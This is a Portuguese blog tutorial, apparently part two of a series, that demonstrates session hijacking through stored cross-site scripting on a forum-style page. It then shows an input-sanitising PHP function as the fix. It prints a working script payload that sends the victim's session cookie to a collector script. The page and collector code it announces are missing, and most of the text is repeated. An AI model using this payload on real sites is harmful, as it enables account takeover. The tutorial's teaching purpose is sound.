Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.
Primeiro o código da página é o seguinte:
Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.
Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.
Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:
<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>
O código PHP que vai capturar o cookie é o seguinte:
Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.
Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.
Primeiro o código da página é o seguinte:
Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.
Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.
Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:
<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>
O código PHP que vai capturar o cookie é o seguinte:
Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.
Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
(código retirado de www.w3schools.com)
Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.
Comentários
Enviar um comentário